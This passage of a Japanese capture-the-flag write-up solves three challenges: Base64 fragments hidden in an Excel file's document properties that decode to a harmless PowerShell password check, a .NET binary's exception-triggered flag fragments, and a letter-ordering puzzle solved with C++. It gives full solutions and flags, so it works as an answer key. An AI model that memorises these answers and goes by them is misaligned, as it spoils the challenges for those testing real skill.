<row r="1048575" spans="16384:16384" x14ac:dyDescent="0.25"><c r="XFD1048575" s="18" t="s"><v>2</v></c></row>
<row r="1048576" spans="16384:16384" x14ac:dyDescent="0.25"><c r="XFD1048576" t="s"><v>1</v></c></row>

どうやら16384列の1048572行目~1048576行目は、1~5の値を取るようです。それではそれらの値を使っているItemとは何かを調べてみると、ビルトインドキュメントプロパティ掲載の画像より、1~5の数値からそれぞれドキュメントのTitle, Subject, Author, Keywords, Commentsを取得できることが分かりました。

それではxlmxファイルのドキュメントをどうやって調べればいいのか悩みつつ色々コマンドを実行していると、なんとexiftoolコマンドで確認できました:

$ exiftool E・mo・XL.xlsm
ExifTool Version Number         : 10.80
File Name                       : E・mo・XL.xlsm
Directory                       : .
File Size                       : 21 kB
File Modification Date/Time     : 2021:11:27 01:29:31+09:00
File Access Date/Time           : 2021:12:18 18:56:47+09:00
File Inode Change Date/Time     : 2021:12:18 18:28:24+09:00
File Permissions                : rwxrwxrwx
File Type                       : XLSM
File Type Extension             : xlsm
MIME Type                       : application/vnd.ms-excel.sheet.macroEnabled
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x1f315ea0
Zip Compressed Size             : 420
Zip Uncompressed Size           : 1482
Zip File Name                   : [Content_Types].xml
Application                     : Microsoft Excel
Doc Security                    : None
Scale Crop                      : No
Heading Pairs                   : ワークシート, 1
Titles Of Parts                 : Sheet1
Company                         :
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 15.0300
Title                           : JABwAGEAcwBzAHcAbwByAGQAIAA9ACAAKABSA
Subject                         : GUAYQBkAC0ASABvAHMAdAAgACIAUABhAHMAcwB3AG8Ac
Creator                         : take
Keywords                        : gBkACIAKQAKACQAdAB4AHQAIAA9ACAAWwBT
Description                     : QBuAGcAXQA6ADoARABlAGYAYQB1AGwAdAAuAEcAZQB0AFMAdAByAGkAbgBnACgACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAKACAAIAAgACAAIAAgACAAIAAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQAAoACIANQBhACIALAAgACIANQA2ACIALAAgACIAMwA5ACIALAAgACIANwA0ACIALAAgACIANgAyACIALAAgACIAMwAxACIALAAgACIAMwA5ACIALAAgACIAMwAwACIALAAgACIANgAxACIALAAgACIANQA3ACIALAAgACIAMwA5ACIALAAgACIANwA1ACIALAAgACIANQA4ACIALAAgACIAMwAyACIALAAgACIANABhACIALAAgACIAMwA1ACIALAAgACIANQA4ACIALAAgACIAMwAyACIALAAgACIANABlACIALAAgACIANgA4ACIALAAgACIANgAzACIALAAgACIANgBkACIALAAgACIANwA4ACIALAAgACIAMwA1ACIALAAgACIANQA4ACIALAAgACIAMwAzACIALAAgACIANABhACIALAAgACIANgA4ACIALAAgACIANQBhACIALAAgACIANQA2ACIALAAgACIAMwA5ACIALAAgACIANwAxACIALAAgACIANQBhACIALAAgACIANQA4ACIALAAgACIANAAyACIALAAgACIANwBhACIALAAgACIANQBhACIALAAgACIANQA3ACIALAAgACIAMwA0ACIALAAgACIAMwBkACIAKQAgAHwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAWwBjAGgAYQByAF0AWwBiAHkAdABlAF0AIgAwAHgAJABfACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACkAIAAtAGoAbwBpAG4AIAAiACIACgAgACAAIAAgACkACgApAAoAJAB0AHgAdAAyACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEQAZQBmAGEAdQBsAHQALgBHAGUAdABTAHQAcgBpAG4AZwAoAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgACgAgACAAIAAgACAAIAAgACAAKAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEAAKAAiADUAYQAiACwAIAAiADYAZAAiACwAIAAiADcAOAAiACwAIAAiADYAOAAiACwAIAAiADUAYQAiACwAIAAiADcAOQAiACwAIAAiADQAMQAiACwAIAAiADMANgAiACwAIAAiADQAOQAiACwAIAAiADQANwAiACwAIAAiADYAYwAiACwAIAAiADcANAAiACwAIAAiADUAOQAiACwAIAAiADMAMwAiACwAIAAiADUAMgAiACwAIAAiADYAZAAiACwAIAAiADYANQAiACwAIAAiADMAMAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMwAiACwAIAAiADYAZAAiACwAIAAiADUANgAiACwAIAAiADYAOAAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADcAOAAiACwAIAAiADMANQAiACwAIAAiADUAOAAiACwAIAAiADMAMwAiACwAIAAiADQAYQAiACwAIAAiADYAYwAiACwAIAAiADUAOQAiACwAIAAiADUANwAiACwAIAAiADcAOAAiACwAIAAiADcAMwAiACwAIAAiADYANQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADcAOQAiACwAIAAiADUAYQAiACwAIAAiADUANwAiACwAIAAiADQANgAiACwAIAAiADcAMwAiACwAIAAiADYAMgAiACwAIAAiADQAOAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMwAiACwAIAAiADYAZAAiACwAIAAiADUANgAiACwAIAAiADYAOAAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADcAOAAiACwAIAAiADMANQAiACwAIAAiADUAOAAiACwAIAAiADMAMwAiACwAIAAiADQAYQAiACwAIAAiADYAYwAiACwAIAAiADUAOQAiACwAIAAiADUANwAiACwAIAAiADcAOAAiACwAIAAiADcAMwAiACwAIAAiADYANQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADcAOQAiACwAIAAiADUAYQAiACwAIAAiADUANwAiACwAIAAiADQANgAiACwAIAAiADcAMwAiACwAIAAiADYAMgAiACwAIAAiADQAOAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADYAYwAiACwAIAAiADcAMgAiACwAIAAiADUAYQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADMANQAiACwAIAAiADYAMgAiACwAIAAiADMAMwAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACkAIAB8AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFsAYwBoAGEAcgBdAFsAYgB5AHQAZQBdACIAMAB4ACQAXwAiACAAfQAKACAAIAAgACAAIAAgACAAIAApACAALQBqAG8AaQBuACAAIgAiAAoAIAAgACAAIAApAAoAKQAKACQAaQBzAFAAYQBzAHMAZQBkACAAPQAgACgAJABwAGEAcwBzAHcAbwByAGQAIAAtAGUAcQAgACQAdAB4AHQAKQAKAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAoACQAaQBzAFAAYQBzAHMAZQBkACAAPwAgACIAZwBvAG8AZAAgAHkAbwB1ACAAYQByAGUAIABwAGEAcwBzAGUAZAAiACAAOgAgACIAaQBuAGMAbwByAHIAZQBjAHQAIABwAGEAcwBzAHcAbwByAGQAIgApACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgACgAJABpAHMAUABhAHMAcwBlAGQAIAA/ACAAIgBHAHIAZQBlAG4AIgAgADoAIAAiAFIAZQBkACIAKQAKAGkAZgAgACgAJABpAHMAUABhAHMAcwBlAGQAKQAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAHQAeAB0ADIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQgBsAHUAZQAKAH0ACgAkAGgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBSAGUAYQBkAEsAZQB5ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgA=
Last Modified By                : take
Create Date                     : 2021:11:24 01:00:08Z
Modify Date                     : 2021:11:24 06:48:35Z
Category                        : AHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAa

この中のTitle, Subject, Keywords, Description, CategoryがBase64エンコードされたものの断片に見えます。並び替えてそれらしいデコード結果になるものを探しました。このとき、PowerShellはUTF-16エンコーディングで入力を取ることを意識します:

#!/usr/bin/env python3.8

import base64

category = "AHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAa"
title = "JABwAGEAcwBzAHcAbwByAGQAIAA9ACAAKABSA"
subject = "GUAYQBkAC0ASABvAHMAdAAgACIAUABhAHMAcwB3AG8Ac"
keyword = "gBkACIAKQAKACQAdAB4AHQAIAA9ACAAWwBT"
description = "QBuAGcAXQA6ADoARABlAGYAYQB1AGwAdAAuAEcAZQB0AFMAdAByAGkAbgBnACgACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAKACAAIAAgACAAIAAgACAAIAAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQAAoACIANQBhACIALAAgACIANQA2ACIALAAgACIAMwA5ACIALAAgACIANwA0ACIALAAgACIANgAyACIALAAgACIAMwAxACIALAAgACIAMwA5ACIALAAgACIAMwAwACIALAAgACIANgAxACIALAAgACIANQA3ACIALAAgACIAMwA5ACIALAAgACIANwA1ACIALAAgACIANQA4ACIALAAgACIAMwAyACIALAAgACIANABhACIALAAgACIAMwA1ACIALAAgACIANQA4ACIALAAgACIAMwAyACIALAAgACIANABlACIALAAgACIANgA4ACIALAAgACIANgAzACIALAAgACIANgBkACIALAAgACIANwA4ACIALAAgACIAMwA1ACIALAAgACIANQA4ACIALAAgACIAMwAzACIALAAgACIANABhACIALAAgACIANgA4ACIALAAgACIANQBhACIALAAgACIANQA2ACIALAAgACIAMwA5ACIALAAgACIANwAxACIALAAgACIANQBhACIALAAgACIANQA4ACIALAAgACIANAAyACIALAAgACIANwBhACIALAAgACIANQBhACIALAAgACIANQA3ACIALAAgACIAMwA0ACIALAAgACIAMwBkACIAKQAgAHwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAWwBjAGgAYQByAF0AWwBiAHkAdABlAF0AIgAwAHgAJABfACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACkAIAAtAGoAbwBpAG4AIAAiACIACgAgACAAIAAgACkACgApAAoAJAB0AHgAdAAyACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEQAZQBmAGEAdQBsAHQALgBHAGUAdABTAHQAcgBpAG4AZwAoAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgACgAgACAAIAAgACAAIAAgACAAKAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEAAKAAiADUAYQAiACwAIAAiADYAZAAiACwAIAAiADcAOAAiACwAIAAiADYAOAAiACwAIAAiADUAYQAiACwAIAAiADcAOQAiACwAIAAiADQAMQAiACwAIAAiADMANgAiACwAIAAiADQAOQAiACwAIAAiADQANwAiACwAIAAiADYAYwAiACwAIAAiADcANAAiACwAIAAiADUAOQAiACwAIAAiADMAMwAiACwAIAAiADUAMgAiACwAIAAiADYAZAAiACwAIAAiADYANQAiACwAIAAiADMAMAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMwAiACwAIAAiADYAZAAiACwAIAAiADUANgAiACwAIAAiADYAOAAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADcAOAAiACwAIAAiADMANQAiACwAIAAiADUAOAAiACwAIAAiADMAMwAiACwAIAAiADQAYQAiACwAIAAiADYAYwAiACwAIAAiADUAOQAiACwAIAAiADUANwAiACwAIAAiADcAOAAiACwAIAAiADcAMwAiACwAIAAiADYANQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADcAOQAiACwAIAAiADUAYQAiACwAIAAiADUANwAiACwAIAAiADQANgAiACwAIAAiADcAMwAiACwAIAAiADYAMgAiACwAIAAiADQAOAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMwAiACwAIAAiADYAZAAiACwAIAAiADUANgAiACwAIAAiADYAOAAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADcAOAAiACwAIAAiADMANQAiACwAIAAiADUAOAAiACwAIAAiADMAMwAiACwAIAAiADQAYQAiACwAIAAiADYAYwAiACwAIAAiADUAOQAiACwAIAAiADUANwAiACwAIAAiADcAOAAiACwAIAAiADcAMwAiACwAIAAiADYANQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADcAOQAiACwAIAAiADUAYQAiACwAIAAiADUANwAiACwAIAAiADQANgAiACwAIAAiADcAMwAiACwAIAAiADYAMgAiACwAIAAiADQAOAAiACwAIAAiADYAYwAiACwAIAAiADYANgAiACwAIAAiADYAMgAiACwAIAAiADQANwAiACwAIAAiADYAYwAiACwAIAAiADcAMgAiACwAIAAiADUAYQAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACwAIAAiADMANQAiACwAIAAiADYAMgAiACwAIAAiADMAMwAiACwAIAAiADUANgAiACwAIAAiADMAOQAiACkAIAB8AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFsAYwBoAGEAcgBdAFsAYgB5AHQAZQBdACIAMAB4ACQAXwAiACAAfQAKACAAIAAgACAAIAAgACAAIAApACAALQBqAG8AaQBuACAAIgAiAAoAIAAgACAAIAApAAoAKQAKACQAaQBzAFAAYQBzAHMAZQBkACAAPQAgACgAJABwAGEAcwBzAHcAbwByAGQAIAAtAGUAcQAgACQAdAB4AHQAKQAKAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAoACQAaQBzAFAAYQBzAHMAZQBkACAAPwAgACIAZwBvAG8AZAAgAHkAbwB1ACAAYQByAGUAIABwAGEAcwBzAGUAZAAiACAAOgAgACIAaQBuAGMAbwByAHIAZQBjAHQAIABwAGEAcwBzAHcAbwByAGQAIgApACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgACgAJABpAHMAUABhAHMAcwBlAGQAIAA/ACAAIgBHAHIAZQBlAG4AIgAgADoAIAAiAFIAZQBkACIAKQAKAGkAZgAgACgAJABpAHMAUABhAHMAcwBlAGQAKQAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAHQAeAB0ADIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQgBsAHUAZQAKAH0ACgAkAGgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBSAGUAYQBkAEsAZQB5ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgA="

print(base64.b64decode(title + subject + keyword + category + description).decode("utf-16"))

実行すると、PowerShellコードを得られました:

$ ./base64decode.py
$password = (Read-Host "Password")
$txt = [System.Text.Encoding]::Default.GetString(
    [System.Convert]::FromBase64String(
        (
            @("5a", "56", "39", "74", "62", "31", "39", "30", "61", "57", "39", "75", "58", "32", "4a", "35", "58", "32", "4e", "68", "63", "6d", "78", "35", "58", "33", "4a", "68", "5a", "56", "39", "71", "5a", "58", "42", "7a", "5a", "57", "34", "3d") |
            ForEach-Object { [char][byte]"0x$_" }
        ) -join ""
    )
)
$txt2 = [System.Text.Encoding]::Default.GetString(
    [System.Convert]::FromBase64String(
        (
            @("5a", "6d", "78", "68", "5a", "79", "41", "36", "49", "47", "6c", "74", "59", "33", "52", "6d", "65", "30", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "62", "47", "6c", "72", "5a", "56", "39", "35", "62", "33", "56", "39") |
            ForEach-Object { [char][byte]"0x$_" }
        ) -join ""
    )
)
$isPassed = ($password -eq $txt)
Write-Host ($isPassed ? "good you are passed" : "incorrect password") -ForegroundColor ($isPassed ? "Green" : "Red")
if ($isPassed) {
    Write-Host $txt2 -ForegroundColor Blue
}
$host.UI.RawUI.ReadKey() | Out-Null

$

入力が$txtと等しいなら$txt2を出力する内容です。それらの変数の内容をPowerShellで評価して確認しました:

PS C:\Users\Owner> cd C:\
PS C:\> $txt = [System.Text.Encoding]::Default.GetString(
>>     [System.Convert]::FromBase64String(
>>         (
>>             @("5a", "56", "39", "74", "62", "31", "39", "30", "61", "57", "39", "75", "58", "32", "4a", "35", "58", "32", "4e", "68", "63", "6d", "78", "35", "58", "33", "4a", "68", "5a", "56", "39", "71", "5a", "58", "42", "7a", "5a", "57", "34", "3d") |
>>             ForEach-Object { [char][byte]"0x$_" }
>>         ) -join ""
>>     )
>> )
PS C:\> $txt
e_mo_tion_by_carly_rae_jepsen
PS C:\> $txt2 = [System.Text.Encoding]::Default.GetString(
>>     [System.Convert]::FromBase64String(
>>         (
>>             @("5a", "6d", "78", "68", "5a", "79", "41", "36", "49", "47", "6c", "74", "59", "33", "52", "6d", "65", "30", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "62", "47", "6c", "72", "5a", "56", "39", "35", "62", "33", "56", "39") |
>>             ForEach-Object { [char][byte]"0x$_" }
>>         ) -join ""
>>     )
>> )
PS C:\> $txt2
flag : imctf{I_really_really_really_really_really_really_like_you}
PS C:\>

ようやくフラグを入手できました: imctf{I_really_really_really_really_really_really_like_you}

[rev, easy] become monkey🐒 (499 points, 8 Solves)

カオスエンジニアリングを実践しましょう。さあ、今から Failure Injection Testing を始めます。皆さんにはこれからおサルさんになってもらいます。え?何ですか?「Chaos Monkey」っていうツールがあるんですか?知りません。とりあえず今すぐできることをやってください。

配布ファイルとして、以下のファイル群がありました:

$ ls -R
.:
become-monkey.deps.json
become-monkey.dll
become-monkey.exe
become-monkey.pdb
become-monkey.runtimeconfig.json
ref

./ref:
become-monkey.dll
$

今回も.NETアプリケーションのようなので./become-monkey.dllをdyspyで開いて確認すると、以下の処理が見えました

string a = ex.GetType().Name;
if (!(a == "DivideByZeroException"))
{
    if (!(a == "FormatException"))
    {
        if (!(a == "OverflowException"))
        {
            this.FlagArea.Text = "Keep Act!";
        }
        else
        {
            this.FlagArea.Text = "fragment3 cjBfRzByaTExYV9NYW59";
        }
    }
    else
    {
        this.FlagArea.Text = "fragment2 MTNfaTVfYV81dXAzcl9IMw";
    }
}
else
{
    this.FlagArea.Text = "fragment1 aW1jdGZ7SzNubjMraF9IYQ";
}

3個のfragmentはBase64エンコードされたものに見えます。しばらくの間、それらを結合してBase64デコードしてしまっており、デコードそのものは成功しますが中央部分がが謎のバイト列になることに悩んでいました:

In [3]: base64.b64decode("aW1jdGZ7SzNubjMraF9IYQ" + "MTNfaTVfYV81dXAzcl9IMw" + "cjBfRzByaTExYV9NYW59")
Out[3]: b'imctf{K3nn3+h_Ha\x03\x135\xf6\x93U\xf6\x15\xf3WW\x037%\xf4\x830r0_G0ri11a_Man}'

しばらく悩んだ後に、個別にBase64デコードすれば上手くいくことに気付きました:

In [5]: base64.b64decode("aW1jdGZ7SzNubjMraF9IYQ==")
Out[5]: b'imctf{K3nn3+h_Ha'

In [8]: base64.b64decode("MTNfaTVfYV81dXAzcl9IMw==")
Out[8]: b'13_i5_a_5up3r_H3'

In [9]: base64.b64decode("cjBfRzByaTExYV9NYW59")
Out[9]: b'r0_G0ri11a_Man}'

これらを結合してフラグを入手できました: imctf{K3nn3+h_Ha13_i5_a_5up3r_H3r0_G0ri11a_Man}

ところで問題文にあるChaos Monkeyを調べてみると、意図的に障害を発生させることが目的の、カオスエンジニアリング用のツールらしいとわかりました。ものすごいツールがあるんですね。

[ppc, medium] anagram🍀 (490 points, 17 Solves)

flagはアルファベット abcdefghijklmnopqrstuvwxyz を並び替えてできる文字列であり、以下の条件を全て満たす文字列のうち辞書順で最小のものである。

flagはimctf{並び替えてできる文字列}となります。

例
b は a よりも先に現れる。

b a
条件

g k
p e
s d
d f
u a
n a
u r
z t
g c
b k
i j
y g
r t
c s
e s
g m
e d
x s
t h
k s
m t
u g
n e
z c
y z
y t

問題文のとおりに制約を作り、制約を満たすもののうち辞書順最小のものを深さ優先探索するソルバーを書きました:

#include <stdio.h>
#include <string.h>
#include <assert.h>

bool constraints[26][26];
int positions[26];

bool dfs(int depth) {
    if (depth >= 26) {
        printf("imctf{");
        for (int p = 0; p < 26; ++p) {
            for (int i = 0; i < 26; ++i) {
                assert(positions[i] >= 0);
                if (positions[i] == p) {
                    putchar(i+'a');
                }
            }
        }
        printf("}\n");
        return true;
    }

    for (int i = 0; i < 26; ++i) {
        if (positions[i] >= 0) { continue; }
        bool satisfied = true;
        for (int j = 0; j < 26; ++j) {
            if (constraints[j][i] && positions[j] < 0) {
                satisfied = false;
                break;
            }
        }
        if (!satisfied) { continue; }
        positions[i] = depth;
        bool succeeded = dfs(depth+1);
        positions[i] = -1;
        if (succeeded) { return true; }
    }
    return false;
}

int main() {
    memset(positions, -1, sizeof(positions));
    constraints['g'-'a']['k'-'a'] = true;
    constraints['p'-'a']['e'-'a'] = true;
    constraints['s'-'a']['d'-'a'] = true;
    constraints['d'-'a']['f'-'a'] = true;
    constraints['u'-'a']['a'-'a'] = true;
    constraints['n'-'a']['a'-'a'] = true;
    constraints['u'-'a']['r'-'a'] = true;
    constraints['z'-'a']['t'-'a'] = true;
    constraints['g'-'a']['c'-'a'] = true;
    constraints['b'-'a']['k'-'a'] = true;
    constraints['i'-'a']['j'-'a'] = true;
    constraints['y'-'a']['g'-'a'] = true;
    constraints['r'-'a']['t'-'a'] = true;
    constraints['c'-'a']['s'-'a'] = true;
    constraints['e'-'a']['s'-'a'] = true;
    constraints['g'-'a']['m'-'a'] = true;
    constraints['e'-'a']['d'-'a'] = true;
    constraints['x'-'a']['s'-'a'] = true;
    constraints['t'-'a']['h'-'a'] = true;
    constraints['k'-'a']['s'-'a'] = true;
    constraints['m'-'a']['t'-'a'] = true;
    constraints['u'-'a']['g'-'a'] = true;
    constraints['n'-'a']['e'-'a'] = true;
    constraints['z'-'a']['c'-'a'] = true;
    constraints['y'-'a']['z'-'a'] = true;
    constraints['y'-'a']['t'-'a'] = true;
    dfs(0);
}

実行しました:

$ g++ solve.cpp
$ time ./a.out
imctf{bijlnopequarvwxygkmzcsdfth}
./a.out  0.00s user 0.00s system 36% cpu 0.004 total
$

フラグを入手できました: imctf{bijlnopequarvwxygkmzcsdfth}

感想

  • 色々な問題が用意されていて楽しめました。
  • revジャンルのうち唯一解けなかった問題はPDFの解析問題です。PDF解析何も分かりません……。
  • OSINTは難しいです。Google Lensではうまくかない場合にどうしたらいいのか分かりません。
  • Web問題を奮闘できたのが嬉しいです。